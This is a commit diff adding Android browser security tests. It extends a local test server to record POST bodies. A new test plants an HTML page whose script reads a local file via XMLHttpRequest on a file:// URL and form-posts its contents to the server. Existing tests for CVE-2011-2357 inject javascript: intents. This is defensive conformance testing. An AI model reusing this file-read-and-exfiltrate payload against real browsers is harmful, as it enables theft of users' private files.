summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorSelim Gurun <sgurun@google.com>2012-03-27 17:37:15 -0700
committerSelim Gurun <sgurun@google.com>2012-04-23 12:18:07 -0700
commit7d21f5a09441bdac6491d1b1b903f2f902712935 (patch)
tree0e917903d6708fc2abb2ffe9fba837287545f626
parentb1e7c81a9eea3022f556bbc2dc6175c1ebd3ef7a (diff)
downloadcts-7d21f5a09441bdac6491d1b1b903f2f902712935.tar.gz
DO NOT MERGE Add tests for data access issue.
Bug: 6212665 Verify whether bug is properly fixed for all browsers. This is a cherry pick from master. sha: 8b2b9dbec5ccf28e0781d8f8b16df02e93a375d2 Change-Id: Iefb7cea42fc23fe558cf21aa65515486f276a43f
-rwxr-xr-xtests/src/android/webkit/cts/CtsTestServer.java31
-rw-r--r--tests/tests/security/src/android/security/cts/BrowserTest.java118
2 files changed, 135 insertions, 14 deletions
diff --git a/tests/src/android/webkit/cts/CtsTestServer.java b/tests/src/android/webkit/cts/CtsTestServer.java
index 240aaa67db0..e4b3480ea2b 100755
--- a/tests/src/android/webkit/cts/CtsTestServer.java
+++ b/tests/src/android/webkit/cts/CtsTestServer.java
@@ -17,6 +17,8 @@ package android.webkit.cts;
import org.apache.harmony.luni.util.Base64;
import org.apache.http.Header;
+import org.apache.http.HttpEntity;
+import org.apache.http.HttpEntityEnclosingRequest;
import org.apache.http.HttpException;
import org.apache.http.HttpRequest;
import org.apache.http.HttpResponse;
@@ -61,6 +63,7 @@ import java.security.KeyManagementException;
import java.security.KeyStore;
import java.security.NoSuchAlgorithmException;
import java.security.cert.X509Certificate;
+import java.util.ArrayList;
import java.util.Date;
import java.util.Hashtable;
import java.util.List;
@@ -127,6 +130,7 @@ public class CtsTestServer {
private boolean mSsl;
private MimeTypeMap mMap;
private String mLastQuery;
+ private ArrayList<HttpEntity> mRequestEntities;
private int mRequestCount;
private long mDocValidity;
private long mDocAge;
@@ -172,6 +176,7 @@ public class CtsTestServer {
} else {
mServerUri = "http://localhost:" + SERVER_PORT;
}
+ mRequestEntities = new ArrayList<HttpEntity>();
mMap = MimeTypeMap.getSingleton();
mServerThread = new ServerThread(this, mSsl);
mServerThread.start();
@@ -385,6 +390,13 @@ public class CtsTestServer {
return mLastQuery;
}
+ /**
+ * Returns all received request entities since the last reset.
+ */
+ public synchronized ArrayList<HttpEntity> getRequestEntities() {
+ return mRequestEntities;
+ }
+
public synchronized int getRequestCount() {
return mRequestCount;
}
@@ -408,6 +420,16 @@ public class CtsTestServer {
}
/**
+ * Resets the saved requests and request counts.
+ */
+ public synchronized void resetRequestState() {
+
+ mRequestCount = 0;
+ mLastQuery = null;
+ mRequestEntities = new ArrayList<HttpEntity>();
+ }
+
+ /**
* Generate a response to the given request.
* @throws InterruptedException
* @throws IOException
@@ -415,12 +437,15 @@ public class CtsTestServer {
private HttpResponse getResponse(HttpRequest request) throws InterruptedException, IOException {
RequestLine requestLine = request.getRequestLine();
HttpResponse response = null;
- Log.i(TAG, requestLine.getMethod() + ": " + requestLine.getUri());
String uriString = requestLine.getUri();
+ Log.i(TAG, requestLine.getMethod() + ": " + uriString);
synchronized (this) {
mRequestCount += 1;
mLastQuery = uriString;
+ if (request instanceof HttpEntityEnclosingRequest) {
+ mRequestEntities.add(((HttpEntityEnclosingRequest)request).getEntity());
+ }
}
URI uri = URI.create(uriString);
@@ -781,6 +806,10 @@ public class CtsTestServer {
if (isShutdownRequest(request)) {
mIsCancelled = true;
}
+ if (request instanceof HttpEntityEnclosingRequest) {
+ conn.receiveRequestEntity( (HttpEntityEnclosingRequest) request);
+ }
+
mExecutorService.submit(new HandleResponseTask(conn, request));
} catch (IOException e) {
// normal during shutdown, ignore
diff --git a/tests/tests/security/src/android/security/cts/BrowserTest.java b/tests/tests/security/src/android/security/cts/BrowserTest.java
index 7991933944d..223f83f26df 100644
--- a/tests/tests/security/src/android/security/cts/BrowserTest.java
+++ b/tests/tests/security/src/android/security/cts/BrowserTest.java
@@ -17,6 +17,7 @@
package android.security.cts;
import android.content.ComponentName;
+import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.content.pm.ResolveInfo;
@@ -24,21 +25,16 @@ import android.net.Uri;
import android.test.AndroidTestCase;
import android.webkit.cts.CtsTestServer;
+import java.io.FileOutputStream;
+import java.io.OutputStreamWriter;
+import java.io.Writer;
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.atomic.AtomicInteger;
+import org.apache.http.HttpEntity;
/**
- * Test for browsers which share state across multiple javascript intents.
- * Such browsers may be vulnerable to a data stealing attack.
- *
- * In particular, this test detects CVE-2011-2357. Patches for CVE-2011-2357
- * are available at:
- *
- * http://android.git.kernel.org/?p=platform/packages/apps/Browser.git;a=commit;h=afa4ab1e4c1d645e34bd408ce04cadfd2e5dae1e
- * http://android.git.kernel.org/?p=platform/packages/apps/Browser.git;a=commit;h=096bae248453abe83cbb2e5a2c744bd62cdb620b
- *
- * See also: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-2357
+ * Test file for browser security issues.
*/
public class BrowserTest extends AndroidTestCase {
private CtsTestServer mWebServer;
@@ -57,7 +53,8 @@ public class BrowserTest extends AndroidTestCase {
/**
* Verify that no state is preserved across multiple intents sent
- * to the browser when we reuse a browser tab.
+ * to the browser when we reuse a browser tab. If such data is preserved,
+ * then browser is vulnerable to a data stealing attack.
*
* In this test, we send two intents to the Android browser. The first
* intent sets document.b2 to 1. The second intent attempts to read
@@ -66,6 +63,12 @@ public class BrowserTest extends AndroidTestCase {
*
* If state is preserved across browser tabs, we ask
* the browser to send an HTTP request to our local server.
+ *
+ * See http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-2357 for
+ * vulnerability information for this test case.
+ *
+ * See commits 096bae248453abe83cbb2e5a2c744bd62cdb620b and
+ * afa4ab1e4c1d645e34bd408ce04cadfd2e5dae1e for patches for above vulnerability.
*/
public void testTabReuse() throws InterruptedException {
List<Intent> intents = getAllJavascriptIntents();
@@ -88,7 +91,8 @@ public class BrowserTest extends AndroidTestCase {
/**
* Verify that no state is preserved across multiple intents sent
- * to the browser when we run out of usable browser tabs.
+ * to the browser when we run out of usable browser tabs. If such data is
+ * preserved, then browser is vulnerable to a data stealing attack.
*
* In this test, we send 20 intents to the Android browser. Each
* intent sets the variable "document.b1" equal to 1. If we are able
@@ -97,6 +101,12 @@ public class BrowserTest extends AndroidTestCase {
* to the local server, recording this fact.
*
* Our test fails if the local server ever receives an HTTP request.
+ *
+ * See http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-2357 for
+ * vulnerability information this test case.
+ *
+ * See commits 096bae248453abe83cbb2e5a2c744bd62cdb620b and
+ * afa4ab1e4c1d645e34bd408ce04cadfd2e5dae1e for patches for above vulnerability.
*/
public void testTabExhaustion() throws InterruptedException {
List<Intent> intents = getAllJavascriptIntents();
@@ -125,6 +135,81 @@ public class BrowserTest extends AndroidTestCase {
}
/**
+ * See Bug 6212665 for detailed information about this issue.
+ */
+ public void testBrowserPrivateDataAccess() throws Throwable {
+
+ // Create a list of all intents for http display. This includes all browsers.
+ List<Intent> intents = createAllIntents(Uri.parse("http://www.google.com"));
+ String action = "\"" + mWebServer.getBaseUri() + "/\"";
+ // test each browser
+ for (Intent intent : intents) {
+ // reset state
+ mWebServer.resetRequestState();
+ // define target file, which is supposedly protected from this app
+ String targetFile = "file://" + getTargetFilePath();
+ String html =
+ "<html><body>\n" +
+ " <form name=\"myform\" action=" + action + " method=\"post\">\n" +
+ " <input type='text' name='val'/>\n" +
+ " <a href=\"javascript :submitform()\">Search</a></form>\n" +
+ "<script>\n" +
+ " var client = new XMLHttpRequest();\n" +
+ " client.open('GET', '" + targetFile + "');\n" +
+ " client.onreadystatechange = function() {\n" +
+ " if(client.readyState == 4) {\n" +
+ " myform.val.value = client.responseText;\n" +
+ " document.myform.submit(); \n" +
+ " }}\n" +
+ " client.send();\n" +
+ "</script></body></html>\n";
+ String filename = "jsfileaccess.html";
+ // create a local HTML to access protected file
+ FileOutputStream out = mContext.openFileOutput(filename,
+ mContext.MODE_WORLD_READABLE);
+ Writer writer = new OutputStreamWriter(out, "UTF-8");
+ writer.write(html);
+ writer.flush();
+ writer.close();
+
+ String filepath = mContext.getFileStreamPath(filename).getAbsolutePath();
+ Uri uri = Uri.parse("file://" + filepath);
+ // do a file request
+ intent.setData(uri);
+ mContext.startActivity(intent);
+ /*
+ * Wait 5 seconds for the browser to contact the server, but
+ * fail fast if we detect the bug
+ */
+ for (int j = 0; j < 5; j++) {
+ // it seems that even when cross-origin policy prevents a file
+ // access, browser is still doing a POST sometimes, but it just
+ // sends the query part and no private data. Make sure this does not
+ // cause a false alarm.
+ if (mWebServer.getRequestEntities().size() > 0) {
+ int len = 0;
+ for (HttpEntity entity : mWebServer.getRequestEntities()) {
+ len += entity.getContentLength();
+ }
+ final int queryLen = "val=".length();
+ assertTrue("Failed preventing access to private data", len <= queryLen);
+ }
+ Thread.sleep(1000);
+ }
+ }
+ }
+
+ private String getTargetFilePath() throws Exception {
+ FileOutputStream out = mContext.openFileOutput("target.txt",
+ mContext.MODE_WORLD_READABLE);
+ Writer writer = new OutputStreamWriter(out, "UTF-8");
+ writer.write("testing");
+ writer.flush();
+ writer.close();
+ return mContext.getFileStreamPath("target.txt").getAbsolutePath();
+ }
+
+ /**
* This method returns a List of explicit Intents for all programs
* which handle javascript URIs.
*/
@@ -145,7 +230,14 @@ public class BrowserTest extends AndroidTestCase {
+ "document.location=\"" + localServerUri + "\""
+ "};"
+ varName + "=1";
- Uri uri = Uri.parse(javascript);
+
+ return createAllIntents(Uri.parse(javascript));
+ }
+
+ /**
+ * Create intents for all activities that can display the given URI.
+ */
+ private List<Intent> createAllIntents(Uri uri) {
Intent implicit = new Intent(Intent.ACTION_VIEW);
implicit.setData(uri);